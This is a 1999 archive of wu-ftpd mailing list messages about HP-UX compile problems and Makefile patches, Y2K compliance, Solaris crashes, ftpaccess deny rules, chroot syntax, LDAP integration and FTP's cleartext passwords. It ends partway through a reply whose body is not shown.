From: Gregory A Lundberg <[email protected]>
To: Michael Schmidt <[email protected]>
Cc: [email protected]
Subject: Re: Followed ls and dir advice, but still problem in beta18vr14
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Thu, 4 Mar 1999, Michael Schmidt wrote:

> Just for completeness, tried VR16 too, and the same error is still
> there!

I'd be amazed if it had. What few changes Stan made were had little
effect except for dec and sco builds.

> What about any other HPUX wu-ftpd users out there, which effect do you
> see, how do you run wu-ftpd VR14 or VR15 or VR16?

There were two testers for HP/UX-10.20 on VR15. The only problem they
reported that was not merged in was a correction to the makefiles so it'd
even compile. Somehow I lost that patch and it'll be in VR17. Since
you're compiled, I doubt it'll help (if you're not already using it).

If you look in your system logs, you should see the daemon is dying.
Let's drop off-list and do a little testing.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Thu Mar 4 07:06:15 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id HAA22256;
Thu, 4 Mar 1999 07:06:14 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id HAA31359;
Thu, 4 Mar 1999 07:02:54 -0600 (CST)
Received: from mserver.fh-koblenz.de (mserver.fh-koblenz.de [143.93.144.2])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id GAA31467
for <[email protected]>; Thu, 4 Mar 1999 06:58:39 -0600 (CST)
Received: (from mschmidt@localhost)
by mserver.fh-koblenz.de (8.8.8/8.8.8-ms) id NAA23498;
Thu, 4 Mar 1999 13:52:26 +0100 (MET)
Message-Id: <[email protected]>
Date: Thu, 4 Mar 1999 13:52:26 +0100 (MET)
Reply-To: [email protected]
Sender: [email protected]
From: Michael Schmidt <[email protected]>
To: [email protected]
Cc: [email protected], [email protected]
Subject: Re: Followed ls and dir advice, but still problem in beta18vr14
In-Reply-To: <[email protected]> from "Gregory A Lundberg" at Mar 4, 99 07:29:07 am
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Mailer: ELM [version 2.4 PL25]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

> From: Gregory A Lundberg <[email protected]>
> Subject: Re: Followed ls and dir advice, but still problem in beta18vr14
>
> On Thu, 4 Mar 1999, Michael Schmidt wrote:
>
> > Just for completeness, tried VR16 too, and the same error is still
> > there!
>
> I'd be amazed if it had. What few changes Stan made were had little
> effect except for dec and sco builds.
>
> > What about any other HPUX wu-ftpd users out there, which effect do you
> > see, how do you run wu-ftpd VR14 or VR15 or VR16?
>
> There were two testers for HP/UX-10.20 on VR15. The only problem they
> reported that was not merged in was a correction to the makefiles so it'd
> even compile. Somehow I lost that patch and it'll be in VR17. Since
> you're compiled, I doubt it'll help (if you're not already using it).

Curious about that as compilation here has been no problem.
Which compilers did the two testers you mentioned use?

I am using GNU gcc here on HPUX and compilation itself went fine.
May be the problem I reported here under the above subject is
related to GNU gcc. Does it have to do with gcc? Any idea?

I have no other full C compiler available here.

--
Michael Schmidt
[email protected]
Mirror of: SAMBA:
IPFilter, Ghostscript Server for Win95,
Linux-HOWTO WinNT, LANManager

From [email protected] Thu Mar 4 07:51:27 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id HAA22714;
Thu, 4 Mar 1999 07:51:26 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id HAA23593;
Thu, 4 Mar 1999 07:48:13 -0600 (CST)
Received: from relay2.nswc.navy.mil (relay2.nswc.navy.mil [128.38.48.157])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id HAA23077
for <[email protected]>; Thu, 4 Mar 1999 07:42:58 -0600 (CST)
Received: from nswcdlvaex00.nswc.navy.mil (nswcdlvaex00.nswc.navy.mil [128.38.204.30])
by relay2.nswc.navy.mil (8.8.8+Sun/8.8.8) with ESMTP id IAA23571;
Thu, 4 Mar 1999 08:46:23 -0500 (EST)
Received: by nswcdlvaex00.nswc.navy.mil with Internet Mail Service (5.5.2232.9)
id <GFVPANHK>; Thu, 4 Mar 1999 08:42:26 -0500
Message-Id: <BF99A3F2010AD211A59700805F9F94B51F581B@nswcdlvaex03.nswc.navy.mil>
Date: Thu, 4 Mar 1999 08:42:26 -0500
Reply-To: [email protected]
Sender: [email protected]
From: Rovert John F DLVA <[email protected]>
To: "'[email protected]'" <[email protected]>,
"'[email protected]'" <[email protected]>,
"'[email protected]'" <[email protected]>
Cc: Bailey Martin T DLVA <[email protected]>,
Zirkle Carl S DLVA
<[email protected]>,
Corbin Donna C DLVA <[email protected]>,
Dean Alan J DLVA <[email protected]>,
Rovert John F DLVA
<[email protected]>,
"Kerby James F (Fred) DLVA"
<[email protected]>,
Northcutt Stephen R DLVA
<[email protected]>
Subject: wu-ftpd, BeroFTP, LundbergFTPD and Y2K
MIME-Version: 1.0
Content-Type: text/plain
X-Mailer: Internet Mail Service (5.5.2232.9)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Greetings

Just a question concerning Y2K compliance...

Are wu-ftpd 2.4.2, BeroFTPD 1.2.x/1.3.x and wu-ftpd-vr
Y2K compliant?

We plan on using one of these on the following Operating Systems

SunOS 4.1.3
Solaris 5.5.1
Solaris 5.6
IRIX 6.x
OSF 3.x
OSF 4.x

Please indicate which of the below are and are not Y2K ready

Product Version Y2K Ready Investigating
Unknown

wu-ftpd 2.4.2
BeroFTPD 1.2.x
BeroFTPD 1.3.x
wu-ftpd-vr15 2.4.2b18VR15
wu-ftpd-vr16 2.4.2VR16

Thanks

John F. Rovert
NSWC
[email protected]

From [email protected] Thu Mar 4 08:42:53 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id IAA23539;
Thu, 4 Mar 1999 08:42:52 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id IAA19187;
Thu, 4 Mar 1999 08:39:34 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id IAA10087
for <[email protected]>; Thu, 4 Mar 1999 08:32:15 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id JAA22107;
Thu, 4 Mar 1999 09:11:08 -0500
Message-Id: <[email protected]>
Date: Thu, 4 Mar 1999 09:11:08 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Michael Schmidt <[email protected]>
Cc: [email protected]
Subject: Re: Followed ls and dir advice, but still problem in beta18vr14
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Thu, 4 Mar 1999, Michael Schmidt wrote:

> > There were two testers for HP/UX-10.20 on VR15. The only problem they
> > reported that was not merged in was a correction to the makefiles so it'd
> > even compile. Somehow I lost that patch and it'll be in VR17. Since
> > you're compiled, I doubt it'll help (if you're not already using it).
>
> Curious about that as compilation here has been no problem.
> Which compilers did the two testers you mentioned use?
>
> I am using GNU gcc here on HPUX and compilation itself went fine.
> May be the problem I reported here under the above subject is
> related to GNU gcc. Does it have to do with gcc? Any idea?
>
> I have no other full C compiler available here.

GCC should be good.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

--

Subject: Re: Build problem on VR15 for HP-UX (resend)

> If these are needed in the general case for HP/UX, send over some
> diffs so I can make the correction for VR16.

here's My old mail ca. 2/17/99 with patches

--

Subject: Makefile.hpx patches for 10.20 beta-18-VR15 prerelease

I'd recommend making at least the change below to the Makefiles for HP/UX.

I think this is pretty close to the minimal changes needed to make it
compile under HP/UX 10.20.

You might also consider removing the use of "+DAportable": that may be of
use for building binary releases but doesn't do much for the average user.

More comments below.

this is a diff -c against your beta-18-VR15 prerelease

for src/makefiles
- - cut here - -
*** Makefile.hpx.dist Sat Oct 31 09:58:15 1998
--- Makefile.hpx Wed Feb 17 15:53:26 1999
***************
*** 5,11 ****
CC = cc
IFLAGS = -I.. -I../support
LFLAGS = +DAportable
! CFLAGS = -Aa -Dunix -D_HPUX_SOURCE -O +Onolimit ${IFLAGS} ${LFLAGS}
XOBJS =
LIBES = ../support/libsupport.a -lsec
LIBC = /lib/libc.a
--- 5,11 ----
CC = cc
IFLAGS = -I.. -I../support
LFLAGS = +DAportable
! CFLAGS = -Ae -Dunix -O +Onolimit ${IFLAGS} ${LFLAGS}
XOBJS =
LIBES = ../support/libsupport.a -lsec
LIBC = /lib/libc.a
- - cut here - -

for support/makefiles
- - cut here - -
*** Makefile.hpx.dist Sat Oct 31 09:58:16 1998
--- Makefile.hpx Wed Feb 17 15:55:42 1999
***************
*** 3,15 ****
#
# $Id: Makefile.hpx,v 1.7 1998/07/06 08:55:07 sob BETA-18 $
#
! CC = cc -Aa -D_POSIX_SOURCE
AR = ar cq
RANLIB = touch
LIBC = /lib/libc.a
IFLAGS =
LFLAGS =
! CFLAGS = -O ${IFLAGS} ${LFLAGS}
INCDIR = /opt/wu_ftpd/include/arpa

SRCS = authuser.c fnmatch.c strcasestr.c strsep.c getusershell.c snprintf.c
--- 3,15 ----
#
# $Id: Makefile.hpx,v 1.7 1998/07/06 08:55:07 sob BETA-18 $
#
! CC = cc
AR = ar cq
RANLIB = touch
LIBC = /lib/libc.a
IFLAGS =
LFLAGS =
! CFLAGS = -Ae -O ${IFLAGS} ${LFLAGS}
INCDIR = /opt/wu_ftpd/include/arpa

SRCS = authuser.c fnmatch.c strcasestr.c strsep.c getusershell.c snprintf.c
- - cut here - -

When I just did a build "out of the box" I got the errors below:
= =
[1] + Done ./build hpx >& build.hpx.out.1
pubweb 60#
pubweb 60# more build.hpx.out.1
make args are :
make opts are :

Copying Makefiles.

Linking src/config.h

Making support library.
cc -Aa -D_POSIX_SOURCE -O -c authuser.c
cc: "authuser.c", line 95: error 1574: Unknown size for "sa".

[snip .. lots of compile errors]

From [email protected] Thu Mar 4 08:44:51 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id IAA23562;
Thu, 4 Mar 1999 08:44:50 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id IAA12994;
Thu, 4 Mar 1999 08:41:39 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id IAA22669
for <[email protected]>; Thu, 4 Mar 1999 08:34:13 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id JAA22272;
Thu, 4 Mar 1999 09:33:42 -0500
Message-Id: <[email protected]>
Date: Thu, 4 Mar 1999 09:33:42 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Rovert John F DLVA <[email protected]>
Cc: "'[email protected]'" <[email protected]>,
"'[email protected]'" <[email protected]>,
Bailey Martin T DLVA <[email protected]>,
Zirkle Carl S DLVA <[email protected]>,
Corbin Donna C DLVA <[email protected]>,
Dean Alan J DLVA <[email protected]>,
"Kerby James F (Fred) DLVA" <[email protected]>,
Northcutt Stephen R DLVA <[email protected]>
Subject: Re: wu-ftpd, BeroFTP, LundbergFTPD and Y2K
In-Reply-To: <BF99A3F2010AD211A59700805F9F94B51F581B@nswcdlvaex03.nswc.navy.mil>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Thu, 4 Mar 1999, Rovert John F DLVA wrote:

> Are wu-ftpd 2.4.2, BeroFTPD 1.2.x/1.3.x and wu-ftpd-vr Y2K compliant?
>
> Please indicate which of the below are and are not Y2K ready
>
> wu-ftpd 2.4.2
> BeroFTPD 1.2.x
> BeroFTPD 1.3.x
> wu-ftpd-vr15 2.4.2b18VR15
> wu-ftpd-vr16 2.4.2VR16

The 'technically correct' answer to your question is, "That's for you to
decide." Especially considering the email addressess you sent this to,
nobody knows what what "Y2K complliant" means for any organization asking
the question; you'll have to judge based on your internal definition and
requirements.

There are no _known_ issues having to do with dates in any of the server
version you listed above. The license terms for the daemon leave the risk
for all errors (known or unknown) with you .. basically saying, if it
breaks, you own both pieces.

The extent of the past changes which were made as a result of another
organization's "Y2K" effort was a change made quite a while ago(somewhere
between 2.4.2-beta-13 and 2.4.2-beta-16) which changed an FTP response for
the client requesting the last-changed date for a file (STAT <file>
command) from using "19%02d" to using "%04d". This change was made, not
for the daemon, but to allow other applications (like mirror) to be able
to handle the dates correctly.

Internally, the daemon (all versions, ever) uses internal Unix date/time
values for what little it needs them for (which isn't much, if any; FTP is
not a date/time dependant protocol). So the issue isn't with the year
2000, it's 2037. (Not that it matters for the daemon since your kernel
will probably pack it in at the end of the Unix Epoch well before any
application software has a chance to fail. :P)

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Thu Mar 4 08:48:55 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id IAA23626;
Thu, 4 Mar 1999 08:48:54 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id IAA12315;
Thu, 4 Mar 1999 08:45:43 -0600 (CST)
Received: from orr.pwgsc.gc.ca (orr.pwgsc.gc.ca [198.103.167.14])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id IAA13565
for <[email protected]>; Thu, 4 Mar 1999 08:43:41 -0600 (CST)
Received: id JAA14868; Thu, 4 Mar 1999 09:35:12 -0500
Received: by gateway ???
Received: by gateway id NAA04015;
Tue, 2 Mar 1999 13:05:04 -0500 (EST)
Message-Id: <[email protected]>
Date: Tue, 02 Mar 1999 13:11:39 -0500
Reply-To: [email protected]
Sender: [email protected]
From: "Robertson, Rocke" <[email protected]>
To: [email protected]
Cc: wuftp <[email protected]>
Subject: Re: Solaris 7 Crashes
References: <[email protected]>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 4.03 [en] (WinNT; U)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

If you dont have Sunservice, and dont want to drive yourself crazy going over
the man page for adb, get yourself the Sun document ID 1179. This document
talks you through core file analisys. Enable savecore on your systems, and
you can go through the core file, and you will be able to tell if its a
faulty piece of hardware or sofware unless its an incredibly weird problem..

~rocker

Bret Sanders wrote:

> I know this isn't a Solaris Sys-admin list, but maybe someone else has
> seen this before I track it down.
>
> I ran a wu-ftpd server for several months with few problems. I decided to
> upgrade to Solaris 7 and VR14, and now my TWO servers crash at random
> times, about once a night. I'm now on VR15, and seeing the same thing. No
> strange errors in the syslog, just normal ftp messages, and then a reboot.
>
> Mar 1 22:07:14 classic unix: panic[cpu0]/thread=2a100057d60: mi_timer:
> bad tim
> value: -9223372036854775808
>
> I have an average of about 300 users logged into each at any one time, so
> they're pretty busy. These are cleanly installed with Solaris 7, and there
> is nothing else running on them besides the basics.
>
> --
> Bret Sanders
> Technical Account Manager
> Frontier GlobalCenter
> [email protected]

--
Rocke Robertson
PWGSC/GTIS
(613)991-2604
[email protected]

From [email protected] Thu Mar 4 10:39:48 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id KAA25170;
Thu, 4 Mar 1999 10:39:47 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id KAA26392;
Thu, 4 Mar 1999 10:36:34 -0600 (CST)
Received: from rmx07.globecomm.net (rmx07.iname.net [165.251.8.75])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id KAA25078
for <[email protected]>; Thu, 4 Mar 1999 10:31:45 -0600 (CST)
Received: from weba8.iname.net by rmx07.globecomm.net (8.9.1/8.8.0) with ESMTP id LAA08676 ; Thu, 4 Mar 1999 11:31:44 -0500 (EST)
Received: (from root@localhost)
by weba8.iname.net (8.9.1a/8.9.2.Alpha2) id LAA03635;
Thu, 4 Mar 1999 11:31:44 -0500 (EST)
Message-Id: <[email protected]>
Date: Thu, 4 Mar 1999 11:31:44 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: [email protected]
To: [email protected]
Subject: Real users deny
MIME-Version: 1.0
Content-Type: Text/Plain
Content-Transfer-Encoding: 7bit
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi,

Is it posible to deny ftp connections by type or class using the file "ftpaccess"?

I know that we can deny users with the file "ftpusers" or by ip in "ftphosts". Instead I want to refuse all real users or all guest users from some host, without having to update the ftp configuration for each new user.

Thanks,
David Jorrin.
= = =

David Jorrin <[email protected]>>

----------------------------------------------------------------
Get your free email from AltaVista at http://altavista.iname.com

From [email protected] Thu Mar 4 10:52:40 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id KAA25338;
Thu, 4 Mar 1999 10:52:40 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id KAA18925;
Thu, 4 Mar 1999 10:49:26 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id KAA12860
for <[email protected]>; Thu, 4 Mar 1999 10:45:27 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id LAA23304;
Thu, 4 Mar 1999 11:42:39 -0500
Message-Id: <[email protected]>
Date: Thu, 4 Mar 1999 11:42:39 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: Real users deny
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Thu, 4 Mar 1999 [email protected] wrote:

> Is it posible to deny ftp connections by type or class using the file
> "ftpaccess"?
>
> I know that we can deny users with the file "ftpusers" or by ip in
> "ftphosts". Instead I want to refuse all real users or all guest users
> from some host, without having to update the ftp configuration for
> each new user.

The VR upgrades include the ability to use a * wildcard in ftphosts.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Thu Mar 4 11:05:24 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA25487;
Thu, 4 Mar 1999 11:05:23 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA23877;
Thu, 4 Mar 1999 11:02:13 -0600 (CST)
Received: from science.edu (wbrtr.wband.com [207.140.55.65])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id KAA02262
for <[email protected]>; Thu, 4 Mar 1999 10:57:41 -0600 (CST)
Received: (qmail 26891 invoked from network); 4 Mar 1999 18:01:17 -0000
Received: from unknown (HELO WideCast2) (192.168.1.124)
by wbrtr.wband.com with SMTP; 4 Mar 1999 18:01:17 -0000
Message-Id: <[email protected]>
Date: Thu, 4 Mar 1999 11:00:17 -0600
Reply-To: [email protected]
Sender: [email protected]
From: "D. Carlos Knowlton" <[email protected]>
To: "WU-FTP" <[email protected]>
Subject: dumb question: chroot
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.0810.800
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.0810.800
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Forgive my naivet�, but could someone please refresh my memeory on the
syntax for "chroot"? I can't find a man page for it, so any help here would
be great!

Thanks!

-ck

From [email protected] Thu Mar 4 11:25:37 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA25737;
Thu, 4 Mar 1999 11:25:36 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA16601;
Thu, 4 Mar 1999 11:22:19 -0600 (CST)
Received: from softline.de (ns.softline.de [194.162.82.202])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA21997
for <[email protected]>; Thu, 4 Mar 1999 11:18:07 -0600 (CST)
Received: from mail2.softline.de ([192.168.1.5]) by ns.softline.de with ESMTP id <10760>; Thu, 4 Mar 1999 18:22:21 +0100
Received: from mb ([192.168.1.10]) by mail2.softline.de
(Netscape Messaging Server 3.6) with SMTP id AAA4F08;
Thu, 4 Mar 1999 18:16:12 +0100
Message-Id: <[email protected]>
Date: Thu, 4 Mar 1999 18:16:36 +0100
Reply-To: [email protected]
Sender: [email protected]
From: [email protected] (=?ISO-8859-1?Q?Michael Baehr?=)
To: [email protected]
Cc: [email protected]
Subject: Re: Upload in unreadable dir
In-Reply-To: <[email protected]>
References: <[email protected]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: Windows Eudora Pro Version 3.0.1 (32) [G]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi,

does anybody know about availability for
ldap integration in wu-ftpd 2.4.2 .
where can I find software/information about that ?

Is there anywhere the source available
and documentation about the necessary ldap
object classes and attributes (home directory,
permissions eg.)?

Thanks in advance

Best Regards

Michael Baehr

From [email protected] Thu Mar 4 11:58:48 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA26291;
Thu, 4 Mar 1999 11:58:47 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA03781;
Thu, 4 Mar 1999 11:55:26 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA08712
for <[email protected]>; Thu, 4 Mar 1999 11:48:35 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id MAA23894;
Thu, 4 Mar 1999 12:47:50 -0500
Message-Id: <[email protected]>
Date: Thu, 4 Mar 1999 12:47:50 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: "D. Carlos Knowlton" <[email protected]>
Cc: WU-FTP <[email protected]>
Subject: Re: dumb question: chroot
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=X-UNKNOWN
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by wugate.wustl.edu id LAA28358
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Thu, 4 Mar 1999, D. Carlos Knowlton wrote:

> Forgive my naivet�, but could someone please refresh my memeory on the
> syntax for "chroot"? I can't find a man page for it, so any help here
> would be great!

chroot directory program [ arg ... ]

There's an example in the FAQ. Here's how I do it to test 'ls':

su -c 'cd ~ftp ; env - /usr/sbin/chroot ~ftp /bin/ls -al'

This runs in as root (su -c '...') a clean environment (env -). Because
it's root, it won't spot file/directory permission problems. Also,
because the cd happens before the chroot, the '..' entry will be for the
wrong inode. Bearinall this in mind, the command will catch most problems
for programs in the FTP area.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Thu Mar 4 12:05:16 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id MAA26396;
Thu, 4 Mar 1999 12:05:15 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id MAA29392;
Thu, 4 Mar 1999 12:01:54 -0600 (CST)
Received: from mail1.its.rpi.edu ([email protected] [128.113.100.7])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA30213
for <[email protected]>; Thu, 4 Mar 1999 11:57:11 -0600 (CST)
Received: from yua2 (cieem47.cieem.rpi.edu [128.113.60.140])
by mail1.its.rpi.edu (8.8.8/8.8.6) with SMTP id MAA44040
for <[email protected]>; Thu, 4 Mar 1999 12:58:54 -0500
Message-Id: <[email protected]>
Date: Thu, 04 Mar 1999 12:59:08 -0500
Reply-To: [email protected]
Sender: [email protected]
From: Alex Yu <[email protected]>
To: [email protected]
Subject: About ftpd security.
In-Reply-To: <[email protected]>
References: <[email protected]>
<[email protected]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hello,

My friend email me with security concern about ftpd. I attached the mail
at below. Can someone response that to me? Thank you.

Alex

Date: Thu, 4 Mar 1999 12:40:04 -0500
Subject: Re: academy
:

Hi Alex,

The biggest problem with ftp is that your user names and
passwords are sent in single packets encoded as plain ascii.
If a hacker has access to _any_ machine on _any_ network between
the client and server, they can sniff the packets easily.
It is worse than telnet because at least telnet sends each
character of the password in an individual packet. FTP sends
the entire string "PASS XXXXX" in one packet. This is an ftp
problem unrelated to the OS the client or server is using.
Several machines on the RPI campus have been hacked in the
past, (Tom's was once), and have had password sniffing programs
set up on them. The only way to prevent this "hole" is to get
rid of ftp altogether, (at least till ipv6 comes out with it's
transparent encryption services).
I know there aren't necessarily free ssh clients for the
Mac, but I wasn't aware that there weren't even commercial
ones....

From [email protected] Thu Mar 4 12:44:01 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id MAA27098;
Thu, 4 Mar 1999 12:44:00 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id MAA13947;
Thu, 4 Mar 1999 12:40:38 -0600 (CST)
Received: from bawhub1.british-airways.com (mail.british-airways.com [194.201.29.3])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id MAA23650
for <[email protected]>; Thu, 4 Mar 1999 12:37:58 -0600 (CST)
Received: from baw-gw.british-airways.com by bawhub1.british-airways.com (X.400 to RFC822 Gateway); Thu, 4 Mar 1999 17:37:16 Z
Message-Id:
<"06EA636DEC4C634C*/c=GB/admd=ATTMAIL/prmd=BA/o=British Airways PLC/ou=CORPLN1/s=Marson/g=Hamish/i=N/"@MHS>
Date: 04 Mar 1999 17:37:10 Z
Reply-To: [email protected]
Sender: [email protected]
From: "Marson, Hamish N" <[email protected]>
To: mbaehr <[email protected]>
Cc: wu-ftpd <[email protected]>, mb <[email protected]>
Subject: Re: Upload in unreadable dir
Content-Identifier: 06EA636DEC4C634C
Content-Return: Allowed
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I've done it... To VR14... I'm testing at the moment... It seems to work fine so far with Netscape's LDAP server. It should work with all of them. You do need IBM's LDAP client side stuff (free with AIX, not sure how you'd get it for other platforms), as I'm not sure how portable the APi is (I believe it's an evolving standard from perusing the readme's that come with the ldap clientside stuff for AIX).

Regards
Hamish.

[email protected] on 04/03/99 17:17:00
To: wu-ftpd
cc: mb
bcc: Hamish N Marson
Subject: Re: Upload in unreadable dir

Reply-To: [email protected]@INTERNET

Hi,

does anybody know about availability for
ldap integration in wu-ftpd 2.4.2 .
where can I find software/information about that ?

Is there anywhere the source available
and documentation about the necessary ldap
object classes and attributes (home directory,
permissions eg.)?

Thanks in advance

Best Regards

Michael Baehr

From [email protected] Thu Mar 4 12:46:14 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id MAA27138;
Thu, 4 Mar 1999 12:46:13 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id MAA01209;
Thu, 4 Mar 1999 12:42:57 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id MAB20896
for <[email protected]>; Thu, 4 Mar 1999 12:38:34 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id NAA24210;
Thu, 4 Mar 1999 13:38:27 -0500
Message-Id: <[email protected]>
Date: Thu, 4 Mar 1999 13:38:27 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Alex Yu <[email protected]>
Cc: [email protected]
Subject: Re: About ftpd security.
In-Reply-To: <[email protected]>
